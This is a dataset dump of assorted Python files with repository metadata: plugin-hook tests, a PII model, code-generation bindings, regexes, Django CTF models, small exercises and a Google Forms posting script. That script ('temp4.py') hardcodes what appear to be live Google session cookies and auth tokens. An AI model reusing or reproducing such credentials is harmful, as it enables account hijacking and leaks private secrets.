] | 1 | 2020-12-01T21:11:24.000Z | 2020-12-01T21:11:24.000Z | tests/addons_tests/namespace_blue/namespace_blue/five.py | delfick/delfick_project | 4b49209639dd10cff6f48b4f5617cb7874481aaa | [
"MIT"
] | 2 | 2019-11-18T05:28:19.000Z | 2019-11-18T07:12:24.000Z | tests/addons_tests/namespace_blue/namespace_blue/five.py | delfick/delfick_project | 4b49209639dd10cff6f48b4f5617cb7874481aaa | [
"MIT"
] | 2 | 2019-11-18T05:35:39.000Z | 2021-01-06T18:48:37.000Z | from delfick_project.addons import addon_hook
@addon_hook()
def hook(collector, result_maker, **kwargs):
collector.configuration["resolved"].append((__name__,))
@addon_hook(post_register=True)
def post_hook(collector, **kwargs):
collector.configuration["post_register"].append((__name__, kwargs))
| 25.75 | 71 | 0.770227 | 37 | 309 | 6 | 0.513514 | 0.121622 | 0.252252 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090615 | 309 | 11 | 72 | 28.090909 | 0.790036 | 0 | 0 | 0 | 0 | 0 | 0.067961 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
dbc9f29bb8be5a89bf5d444ee78b5b5424c9b937 | 728 | py | Python | tracardi/domain/pii.py | bytepl/tracardi | e8fa4684fa6bd3d05165fe48aa925fc6c1e74923 | [
"MIT"
] | 153 | 2021-11-02T00:35:41.000Z | 2022-03-25T16:37:44.000Z | tracardi/domain/pii.py | bytepl/tracardi | e8fa4684fa6bd3d05165fe48aa925fc6c1e74923 | [
"MIT"
] | 243 | 2021-10-17T17:00:22.000Z | 2022-03-28T10:13:34.000Z | tracardi/domain/pii.py | bytepl/tracardi | e8fa4684fa6bd3d05165fe48aa925fc6c1e74923 | [
"MIT"
] | 14 | 2021-10-17T11:39:04.000Z | 2022-03-14T14:44:02.000Z | from typing import Optional, Any
from pydantic import BaseModel
class PII(BaseModel):
"""
Personally identifiable information, or PII, is any data that could
potentially be used to identify a particular person. Examples include a full name,
Social Security number, driver's license number, bank account number,
passport number, and email address.
"""
name: Optional[Any] = None
last_name: Optional[Any] = None
birth_date: Optional[Any] = None
marital_status: Optional[str] = None
email: Optional[Any] = None
telephone: Optional[Any] = None
twitter: Optional[Any] = None
facebook: Optional[Any] = None
whatsapp: Optional[Any] = None
other: Optional[dict] = {}
| 29.12 | 86 | 0.696429 | 92 | 728 | 5.478261 | 0.586957 | 0.196429 | 0.238095 | 0.075397 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.218407 | 728 | 24 | 87 | 30.333333 | 0.885765 | 0.351648 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.153846 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
dbd377e60aa601b474e9d9c2fc54621da7e85802 | 3,565 | py | Python | tools/nntool/generation/bindings.py | danieldennett/gap_sdk | 5667c899025a3a152dbf91e5c18e5b3e422d4ea6 | [
"Apache-2.0"
] | 1 | 2020-01-29T15:39:31.000Z | 2020-01-29T15:39:31.000Z | tools/nntool/generation/bindings.py | danieldennett/gap_sdk | 5667c899025a3a152dbf91e5c18e5b3e422d4ea6 | [
"Apache-2.0"
] | null | null | null | tools/nntool/generation/bindings.py | danieldennett/gap_sdk | 5667c899025a3a152dbf91e5c18e5b3e422d4ea6 | [
"Apache-2.0"
] | null | null | null | # Copyright 2019 GreenWaves Technologies, SAS
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from abc import ABC, abstractmethod
from .code_generators import (gen_gnode_arg, gen_imm_arg, gen_at_bindings,
gen_at_func_bindings, gen_g_node_c_arg)
TT_TENSOR_TYPES = {
'TT_INPUT': 0,
'TT_OUTPUT': 1,
'TT_WEIGHTS': 2,
'TT_BIASES': 3
}
class Binding(ABC):
@abstractmethod
def gen_binding(self, generator):
pass
# pylint: disable=abstract-method
class GNodeArg(Binding):
def __init__(self, direction):
self.direction = direction
class GArgEdge(Binding):
def __init__(self, eparams):
self.eparams = eparams
def gen_binding(self, generator):
return gen_g_node_c_arg(generator.get_edge_name(self.eparams))
class GArgNode(Binding):
def __init__(self, node, target):
self.node = node
self.target = target
def gen_binding(self, generator):
return gen_g_node_c_arg(generator.get_node_name(self.node, self.target))
class GNodeArgEdge(GNodeArg):
def __init__(self, eparams, direction="GNA_IN"):
super().__init__(direction)
self.eparams = eparams
def gen_binding(self, generator):
return gen_gnode_arg(self.direction, generator.get_edge_name(self.eparams))
class GNodeArgNode(GNodeArg):
def __init__(self, node, target, direction="GNA_IN"):
super().__init__(direction)
self.node = node
self.target = target
def gen_binding(self, generator):
return gen_gnode_arg(self.direction, generator.get_node_name(self.node, self.target))
class Imm(Binding):
def __init__(self, symbol):
self.symbol = symbol
def gen_binding(self, generator):
return gen_imm_arg(self.symbol)
class BindingList(ABC):
@abstractmethod
def gen_bindings(self, generator, code_block):
pass
class CommentBindingList(BindingList):
def __init__(self, fmt, *args, **kwargs):
self.comment = fmt.format(*args, **kwargs)
def gen_bindings(self, _, code_block):
code_block.write("// {}".format(self.comment))
class NodeBindingList(BindingList):
def __init__(self, node, *binding_list):
self.node = node
self.binding_list = binding_list
def gen_bindings(self, generator, code_block):
gen_at_bindings(self.node,
[binding.gen_binding(generator) for binding in self.binding_list],
code_block)
class FunctionBindingList(NodeBindingList):
def __init__(self, node, func_name, *binding_list, before=False):
super().__init__(node, *binding_list)
self.func_name = func_name
self.where = 'CALL_PROLOG' if before else 'CALL_EPILOG'
def gen_bindings(self, generator, code_block):
gen_at_func_bindings(self.node,
self.func_name,
self.where,
[binding.gen_binding(generator) for binding in self.binding_list],
code_block)
| 33.009259 | 95 | 0.674334 | 452 | 3,565 | 5.030973 | 0.29646 | 0.038698 | 0.043536 | 0.044855 | 0.383026 | 0.347845 | 0.347845 | 0.26737 | 0.26737 | 0.204046 | 0 | 0.004389 | 0.2331 | 3,565 | 108 | 96 | 33.009259 | 0.827359 | 0.167461 | 0 | 0.356164 | 0 | 0 | 0.025364 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.260274 | false | 0.027397 | 0.027397 | 0.068493 | 0.506849 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
dbd6fda5dcf184fc9ce52db6c172ba11aa4e64e3 | 2,977 | py | Python | pychron/experiment/conditional/regexes.py | ael-noblegas/pychron | 6ebbbb1f66a614972b62b7a9be4c784ae61b5d62 | [
"Apache-2.0"
] | 1 | 2019-02-27T21:57:44.000Z | 2019-02-27T21:57:44.000Z | pychron/experiment/conditional/regexes.py | ael-noblegas/pychron | 6ebbbb1f66a614972b62b7a9be4c784ae61b5d62 | [
"Apache-2.0"
] | 80 | 2018-07-17T20:10:20.000Z | 2021-08-17T15:38:24.000Z | pychron/experiment/conditional/regexes.py | AGESLDEO/pychron | 1a81e05d9fba43b797f335ceff6837c016633bcf | [
"Apache-2.0"
] | null | null | null | # ===============================================================================
# Copyright 2014 Jake Ross
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ===============================================================================
# ============= enthought library imports =======================
# ============= standard library imports ========================
from __future__ import absolute_import
import re
# ============= local library imports ==========================
# match .current_point
CP_REGEX = re.compile(r'[\w]+[\w\d]+\({0,1}[\w\d]+\){0,1}\.(current|cur)')
# match .std_dev
STD_REGEX = re.compile(r'[\w]+[\w\d]+\({0,1}[\w\d]+\){0,1}\.(std_dev|sd|stddev)')
# match .inactive
ACTIVE_REGEX = re.compile(r'[\w]+[\w\d]+\({0,1}[\w\d]+\){0,1}\.inactive')
# Functions
def make_func_regex(r):
reg = r'(not ){{0,1}}{}'.format(r)
return re.compile(reg)
# match average(ar##)
AVG_REGEX = make_func_regex('average\([A-Za-z]+\d*\)')
# AVG_REGEX = re.compile(r'average\([A-Za-z]+\d*\)')
# match max(ar##)
MAX_REGEX = make_func_regex(r'max\([A-Za-z]+\d*\)')
# MAX_REGEX = re.compile(r'max\([A-Za-z]+\d*\)')
# match min(ar##)
MIN_REGEX = make_func_regex(r'min\([A-Za-z]+\d*\)')
# MIN_REGEX = re.compile(r'min\([A-Za-z]+\d*\)')
# match slope(ar##)
# SLOPE_REGEX = re.compile(r'slope\([A-Za-z]+\d*\)')
SLOPE_REGEX = make_func_regex(r'slope\([A-Za-z]+\d*\)')
# match between(age, 0,10)
# BETWEEN_REGEX = make_func_regex(r'between\([\w\d\s]+(\.\w+)*\s*,\s*[-\d+]+(\.\d)*(\s*,\s*[-\d+]+(\.\d)*)\)')
BETWEEN_REGEX = make_func_regex(r'between\([\w\d\s\(\)]+(\.\w+)*\s*,\s*[-\d+]+(\.\d)*(\s*,\s*[-\d+]+(\.\d)*)\)')
# match x in x**2+3x+1
MAPPER_KEY_REGEX = re.compile(r'[A-Za-z]+')
# match kca, ar40, etc..
KEY_REGEX = re.compile(r'[A-Za-z]+\d*')
BASELINE_REGEX = re.compile(r'[\w\d]+\.bs')
BASELINECOR_REGEX = re.compile(r'[\w\d]+\.bs_corrected')
PARENTHESES_REGEX = re.compile(r'\([\w\d\s]+\)')
COMP_REGEX = re.compile(r'<=|>=|>|<|==')
DEFLECTION_REGEX = re.compile(r'[\w]+[\w\d]+\({0,1}[\w\d]+\){0,1}\.deflection')
RATIO_REGEX = re.compile(r'[A-Za-z]{1,2}\d{1,2}/[A-Za-z]{1,2}\d{1,2}')
ARGS_REGEX = re.compile(r'\(.+\)')
PRESSURE_REGEX = re.compile(r'\w+\.\w+\.pressure')
DEVICE_REGEX = re.compile(r'device\.\w+')
INTERPOLATE_REGEX = re.compile(r'\$\w+')
EXTRACTION_STR_PERCENT_REGEX = re.compile(r'\d+%(,\d+%)*$')
EXTRACTION_STR_ABS_REGEX = re.compile(r'\d+(\.\d+)*(,\d+(\.\d+)*)*$')
# ============= EOF =============================================
| 36.304878 | 112 | 0.557608 | 460 | 2,977 | 3.48913 | 0.28913 | 0.123364 | 0.183178 | 0.196262 | 0.337072 | 0.266044 | 0.187539 | 0.154517 | 0.115888 | 0.115888 | 0 | 0.015608 | 0.09607 | 2,977 | 81 | 113 | 36.753086 | 0.580825 | 0.489083 | 0 | 0 | 0 | 0.148148 | 0.381275 | 0.270692 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037037 | false | 0 | 0.074074 | 0 | 0.148148 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
9159a5e3585f5fc452484b65a9aac1e7b8418016 | 3,221 | py | Python | ctfweb/models.py | pdogg/ctfmanager | d8f0ac7d7e12d7973b7eb39cd30a0bc81e4cb770 | [
"BSD-3-Clause"
] | 10 | 2015-01-27T23:01:03.000Z | 2016-12-14T01:00:49.000Z | ctfweb/models.py | pdogg/ctfmanager | d8f0ac7d7e12d7973b7eb39cd30a0bc81e4cb770 | [
"BSD-3-Clause"
] | null | null | null | ctfweb/models.py | pdogg/ctfmanager | d8f0ac7d7e12d7973b7eb39cd30a0bc81e4cb770 | [
"BSD-3-Clause"
] | 8 | 2015-03-01T16:57:05.000Z | 2022-02-20T03:48:04.000Z | from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class Game(models.Model): #Overall Game Object
name = models.CharField(max_length=200) #name of the game
start_time = models.DateTimeField() #time to start
end_time = models.DateTimeField() #time game ends
active = models.IntegerField(default=1) #is the game active
require_regcodes = models.IntegerField(default=0) #does the game require reg codes
def __unicode__(self):
return self.name
class Category(models.Model): #categories for challegnes
game = models.ForeignKey(Game) #in which game
name = models.CharField(max_length=200) #name of the category
def __unicode__(self):
return self.name
class Challenge(models.Model): #CTF challenges
game = models.ForeignKey(Game) #in which game
category = models.ForeignKey(Category) #Category Associated
name = models.CharField(max_length=200) #Name of the challenge
description = models.CharField(max_length=2000) #description , pointers etc
points = models.IntegerField(default=100) #point value for the challenge
active = models.IntegerField(default=0) #is the challenge active
key = models.CharField(max_length=200) #scoring key for the challenge
def __unicode__(self):
return self.name
class Hint(models.Model): #hints to be displayed for a given challenge
game = models.ForeignKey(Game) #in which game
challenge = models.ForeignKey(Challenge) #challenge
text = models.CharField(max_length=2000) #hint text
active = models.IntegerField(default=0) #is the hint active
def __unicode__(self):
return self.text
class RegCodes(models.Model): # valid once reg codes
code = models.CharField(max_length=200, null=True, blank=True) #codes
used = models.IntegerField(default=0) #is it used?
def __unicode__(self):
return self.code
class Competitor(models.Model): #hold competiors (may extend the auth_user, dunno)
game = models.ForeignKey(Game) #in which game
user = models.OneToOneField(User)
display_name = models.CharField(max_length=200) #name to display
affiliation = models.CharField(max_length=200, null=True, blank=True) #affiliation text to display
url = models.CharField(max_length=200, null=True, blank=True) #url
bad_keys = models.IntegerField(default=0) #how many bad keys have they submitted
points = models.IntegerField(default=0) #current point total
active = models.IntegerField(default=1) #is the competitor active (ie allowed to play, score, count in standings)
ipaddr = models.CharField(max_length=200, null=True, blank=True) #ip the competitor reged from
regcode = models.ForeignKey(RegCodes, null=True) #code the competitor used to reg
def __unicode__(self):
return self.display_name
class Solved(models.Model): #challenges solved
game = models.ForeignKey(Game) #in which game
competitor = models.ForeignKey(Competitor) #by whom
challenge = models.ForeignKey(Challenge) #which challenge
points = models.IntegerField(default=0) #how many points they got
time = models.DateTimeField() #when they did it
| 36.602273 | 115 | 0.729898 | 430 | 3,221 | 5.369767 | 0.267442 | 0.07146 | 0.085751 | 0.114335 | 0.450411 | 0.354699 | 0.326115 | 0.128194 | 0.128194 | 0 | 0 | 0.017817 | 0.181 | 3,221 | 87 | 116 | 37.022989 | 0.857468 | 0.276622 | 0 | 0.446429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.107143 | false | 0 | 0.035714 | 0.107143 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
9169b2db73ae18caa5666677b17fcdae4c5b6f65 | 300 | py | Python | PythonExercicio/ex085.py | fotavio16/PycharmProjects | f5be49db941de69159ec543e8a6dde61f9f94d86 | [
"MIT"
] | null | null | null | PythonExercicio/ex085.py | fotavio16/PycharmProjects | f5be49db941de69159ec543e8a6dde61f9f94d86 | [
"MIT"
] | null | null | null | PythonExercicio/ex085.py | fotavio16/PycharmProjects | f5be49db941de69159ec543e8a6dde61f9f94d86 | [
"MIT"
] | null | null | null | lista = [[],[]]
for i in range(7):
num = int(input(f'Digite o {i+1}o. valor: '))
if num%2 == 0:
lista[0].append(num)
else:
lista[1].append(num)
print(f'Os valores pares digitados foram: {sorted(lista[0])}')
print(f'Os valores ímpares digitados foram: {sorted(lista[1])}')
| 30 | 64 | 0.596667 | 49 | 300 | 3.653061 | 0.55102 | 0.067039 | 0.089385 | 0.167598 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033473 | 0.203333 | 300 | 9 | 65 | 33.333333 | 0.715481 | 0 | 0 | 0 | 0 | 0 | 0.433333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.222222 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
9171f972f5609543f212ebc9cc545d00e58d6db1 | 3,467 | py | Python | other/temp4.py | sriteja777/Moodle_Project | 2454a0bf2a73a21f554399615e460432a2f1b9a4 | [
"MIT"
] | 1 | 2020-01-07T04:33:53.000Z | 2020-01-07T04:33:53.000Z | other/temp4.py | sriteja777/Moodle_Project | 2454a0bf2a73a21f554399615e460432a2f1b9a4 | [
"MIT"
] | 3 | 2021-03-31T18:55:32.000Z | 2021-12-13T19:49:26.000Z | other/temp4.py | sriteja777/moodle3it | 2454a0bf2a73a21f554399615e460432a2f1b9a4 | [
"MIT"
] | 2 | 2018-10-27T09:16:59.000Z | 2019-07-06T20:06:54.000Z | import bs4
import requests
url = 'https://docs.google.com/forms/d/e/1FAIpQLSc0Pv7KIRU6a4aJB0sWC44uUmfGrdBPciXiYLsxktz_ZCy5eg/viewform'
# page = requests.get(url)
# print(page.status_code)
#
# print(page)
#
#
# sp = bs4.BeautifulSoup(page.text, 'lxml')
# print(sp)
data = {
'entry.639508196': 'sdf',
'entry.1466024362': "134134",
'fvv': 1,
'draftResponse': "[null,null,'7505878136404283387']",
'pageHistory': "0",
'fbzx': "7505878136404283387"
}
value="[null,null,'4690552956041376602']"
s = requests.session()
print(s.headers)
s.headers.update({'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0'})
print(s.headers)
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.5',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Content-Length': '154',
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie':'S=spreadsheet_forms=SgFfVwxEYHKO-rOZa2v-L-_B_cWTDa77; 1P_JAR=2019-3-2-22; NID=162=zAyAsTKj3uU_nGr5HWGnawNK71uGSYCekP_SramkJDYeSHtcKMD0qb2i47J7xZyin3t688E--yRgwTxwDlOeN2vwVpEzrhk5IQ8ZXoXflpo2ZruJn8t2y02vmjA6Kw0irXkfphQbFnxwJAdfEb2ajrxTQOikm15ZcueBgqNqXzLjlGrQ591zZ5vqgyEvSr1H9fLervneG9QFlHGrpdUQtA5fXBeU6hWYD3Sesa5WnEH5TYOZZMMuRe-oXBWffPqYjWVZlTk7Mq6tbqrfHe29VIdwfMaaDAxMlcWwZfbukvLZvqaz3k2zQAklWLnpr0kHmRkhlXnbCLMx4tuYZTrn1eFICgSvKafQ2_8Z9p8kErHRn39DDGCtmS-HJ6MW; OGP=-5061451:-19008374:-19010659:; CONSENT=YES+IN.en-GB+20170423-19-1; SID=HAcCp_IXcJlJIpjv6YPc1h5UTXMhmFsrcFYDyCF_LIf4cQFwc-zvPHeCu0Ih0oyAox5U3Q.; HSID=A_orPp2CpxLmspdy_; SSID=AptgZhhGgoBYmZkpk; APISID=qk4WWWOTOGxv3BYa/AShSY7xxjKlcTZxUi; SAPISID=VntubwIJZ3fJvazb/A5lRRl_4pgV6Pbt98; SIDCC=AN0-TYurBfrh698M4mZsgC3-NSMNvIESYcF1RZUC6xedMw71dSdD7G8j1gA_lB1jihV5mD0euYo; OGPC=19010494-2:19010659-1:; ANID=AHWqTUmavb7V3lWK0WDufMljn0fct71nHnyQhGnk47wSEhlznOGL-dxZCsttq8Ey',
'DNT': '1',
'Host': 'docs.google.com',
'Pragma':'no-cache',
'Referer':'https://docs.google.com/forms/d/e/1FAIpQLSc0Pv7KIRU6a4aJB0sWC44uUmfGrdBPciXiYLsxktz_ZCy5eg/formResponse',
'TE': 'Trailers',
'Upgrade-Insecure-Requests':'1',
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0'
}
cookies= {
'1P_JAR': '2019-3-2-22',
'ANID': 'AHWqTUmavb7V3lWK0WDufMljn0fct71nHnyQhGnk47wSEhlznOGL-dxZCsttq8Ey',
'APISID': 'qk4WWWOTOGxv3BYa/AShSY7xxjKlcTZxUi',
'CONSENT': 'YES+IN.en-GB+20170423-19-1',
'HSID': 'A_orPp2CpxLmspdy_',
'NID': '162=zAyAsTKj3uU_nGr5HWGnawNK71uGSYCekP_SramkJDYeSHtcKMD0qb2i47J7xZyin3t688E--yRgwTxwDlOeN2vwVpEzrhk5IQ8ZXoXflpo2ZruJn8t2y02vmjA6Kw0irXkfphQbFnxwJAdfEb2ajrxTQOikm15ZcueBgqNqXzLjlGrQ591zZ5vqgyEvSr1H9fLervneG9QFlHGrpdUQtA5fXBeU6hWYD3Sesa5WnEH5TYOZZMMuRe-oXBWffPqYjWVZlTk7Mq6tbqrfHe29VIdwfMaaDAxMlcWwZfbukvLZvqaz3k2zQAklWLnpr0kHmRkhlXnbCLMx4tuYZTrn1eFICgSvKafQ2_8Z9p8kErHRn39DDGCtmS-HJ6MW',
'OGP': '-5061451:-19008374:-19010659:',
'OGPC': '19010494-2:19010659-1:',
'S': 'spreadsheet_forms=SgFfVwxEYHKO-rOZa2v-L-_B_cWTDa77',
'SAPISID': 'VntubwIJZ3fJvazb/A5lRRl_4pgV6Pbt98',
'SID': 'HAcCp_IXcJlJIpjv6YPc1h5UTXMhmFsrcFYDyCF_LIf4cQFwc-zvPHeCu0Ih0oyAox5U3Q.',
'SIDCC': 'AN0-TYtXy46xJ_7kwHHNdM3JGDu3Hvmq_kcBjM8htyMkLeqrhBzH5csW9mPboemTGQ6PWwkGzPU',
'SSID': 'AptgZhhGgoBYmZkpk'
}
page = requests.post(url, data=data, headers=headers, cookies=cookies)
print(page.status_code)
print(page)
sp = bs4.BeautifulSoup(page.text, 'lxml')
print(sp)
| 49.528571 | 944 | 0.798385 | 331 | 3,467 | 8.26284 | 0.486405 | 0.013163 | 0.01426 | 0.013163 | 0.578428 | 0.511152 | 0.501645 | 0.501645 | 0.449726 | 0.391225 | 0 | 0.148308 | 0.06259 | 3,467 | 69 | 945 | 50.246377 | 0.693231 | 0.032305 | 0 | 0.037736 | 0 | 0.075472 | 0.802152 | 0.56306 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037736 | 0 | 0.037736 | 0.09434 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
9184e4deb11f2d46bcfffc41c83ebf2031431db2 | 696 | py | Python | problems/min-stack.py | sailikhithk/tech-interview-prep | e833764cf98915d56118bddfa0e01871c58de75e | [
"Apache-2.0"
] | null | null | null | problems/min-stack.py | sailikhithk/tech-interview-prep | e833764cf98915d56118bddfa0e01871c58de75e | [
"Apache-2.0"
] | null | null | null | problems/min-stack.py | sailikhithk/tech-interview-prep | e833764cf98915d56118bddfa0e01871c58de75e | [
"Apache-2.0"
] | null | null | null | #https://leetcode.com/problems/min-stack/
class MinStack(object):
def __init__(self):
self.stack = []
def push(self, x):
self.stack.append((x, min(x, self.getMin())))
def pop(self):
if len(self.stack)==0: return None
return self.stack.pop()[0]
def top(self):
if len(self.stack)==0: return None
return self.stack[-1][0]
def getMin(self):
if len(self.stack)==0: return float('inf')
return self.stack[-1][1]
# Your MinStack object will be instantiated and called as such:
# obj = MinStack()
# obj.push(x)
# obj.pop()
# param_3 = obj.top()
# param_4 = obj.getMin() | 21.090909 | 63 | 0.556034 | 97 | 696 | 3.927835 | 0.391753 | 0.188976 | 0.070866 | 0.102362 | 0.296588 | 0.296588 | 0.296588 | 0.230971 | 0.230971 | 0.230971 | 0 | 0.020161 | 0.287356 | 696 | 33 | 64 | 21.090909 | 0.747984 | 0.264368 | 0 | 0.142857 | 0 | 0 | 0.005929 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.357143 | false | 0 | 0 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.